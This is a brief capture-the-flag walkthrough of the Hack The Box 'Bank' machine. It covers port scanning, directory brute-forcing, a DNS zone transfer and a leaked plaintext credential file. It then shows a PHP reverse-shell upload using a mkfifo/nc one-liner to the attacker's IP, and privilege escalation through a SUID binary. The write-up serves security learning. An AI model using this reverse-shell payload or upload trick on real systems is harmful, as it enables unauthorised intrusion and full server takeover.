GOBUSTER DIRECTORIES

DNS ZONE TRANSFER

REVERSE.PHP

SBIN emergency

```
PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)

|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)

|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)

|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)

53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)

| dns-nsid:

|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu

80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))

|_http-server-header: Apache/2.4.7 (Ubuntu)

| http-title: HTB Bank - Login

|_Requested resource was login.php
```

GOBUSTER

```
root@kali:/home/kali/Desktop/htb/bank# gobuster dir -u http://bank.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/uploads (Status: 301)

/assets (Status: 301)

/inc (Status: 301)

/server-status (Status: 403)

/balance-transfer (Status: 301)
```

DNS

```
root@kali:/home/kali# dig axfr bank.htb @10.10.10.29

chris.bank.htb
```

http://bank.htb/balance-transfer/

http://bank.htb/balance-transfer/68576f20e9732f1b2edc4df5b8533230.acc

```
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803
```

http://bank.htb/index.php

LOGIN WITH CREDS

http://bank.htb/support.php

view-source:http://bank.htb/support.php

```
                              <!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
```

```
root@kali:/home/kali/Desktop/htb/bank# cat reverse.php
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.27 8082 >/tmp/f"); ?>
root@kali:/home/kali/Desktop/htb/bank# mv reverse.php reverse.htb
root@kali:/home/kali/Desktop/htb/bank# nc -nlvp 8082
```

http://bank.htb/uploads/reverse.htb

SHELL GAINED!!!!

```
www-data@bank:/home/chris$ find / -perm -u=s 2>/dev/null
/var/htb/bin/emergency
www-data@bank:/var/htb/bin$ ./emergency
```

ROOTED!!!